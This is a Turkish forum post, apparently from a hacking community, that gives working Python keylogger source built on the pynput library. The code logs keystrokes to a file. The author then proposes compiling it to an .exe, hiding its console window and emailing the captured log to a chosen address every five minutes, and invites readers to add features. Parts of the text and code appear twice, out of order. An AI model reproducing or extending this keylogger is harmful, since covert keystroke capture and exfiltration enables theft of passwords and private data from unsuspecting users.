S C O
80+ Bronze
- Katılım
- 21 Temmuz 2022
- Mesajlar
- 947
Dahası
Evet dostlar kısaca man.py adında bir dosya oluşturun sonra CMD yi açın ve şunu yazın pip install pynput
ondan sonra main.py dosyasının içine şu kodları yazın
Python:
#Tuş Dinlemeyi başlayalım
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
peki bunu nasıl geliştiririz şöyle olabilir bunu bir .exe haline getiriz ve terminal ekranını saklarız şöyle bir kod yaza biliriz log.txt dosyasını her 5dk dir mail ile belirediğimiz maile gönderemesini sağlıya biliriz bunun gibi eklentiler yapabilirz peki siz nasıl geliştirirsiniz ne tür özellikler getire bilirsiniz
ondan sonra main.py dosyasının içine şu kodları yazın
Python:
Python:
import pynput
#modülümüzü ekliyoruz
from pynput.keyboard import Key,Listener
#kullanacağımız değişken ve dizilerimiz
sayac = 0
keys = []
#tuşa basılma eylemi gerçekleştiğinde
def on_press(key):
global sayac,keys
sayac += 1
#basılan tuşu yaz
print("{0} pressed".format(key))
#diziye ekle
keys.append(key)
#Gelen tuşları kayıt altına alalım
if sayac >= 10:
sayac = 0
write_file(keys)
keys = []
#eklemek üzere log dosyamızı açalım - Burada tarih değişkeni ile dosya adınını dinamikleştirebiliriz
keyasd = input("Log Name: ")
def write_file(keys):
with open(f"{keyasd}.txt" , "a" , encoding="utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)
#Denemelerde ESC'ye basılırsa uygulmayı kapatabilelim :)
def on_release(key):
if key == Key.esc:
print("exit")
return False
#Tuş Dinlemeyi başlayalım
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
peki bunu nasıl geliştiririz şöyle olabilir bunu bir .exe haline getiriz ve terminal ekranını saklarız şöyle bir kod yaza biliriz log.txt dosyasını her 5dk dir mail ile belirediğimiz maile gönderemesini sağlıya biliriz bunun gibi eklentiler yapabilirz peki siz nasıl geliştirirsiniz ne tür özellikler getire bilirsiniz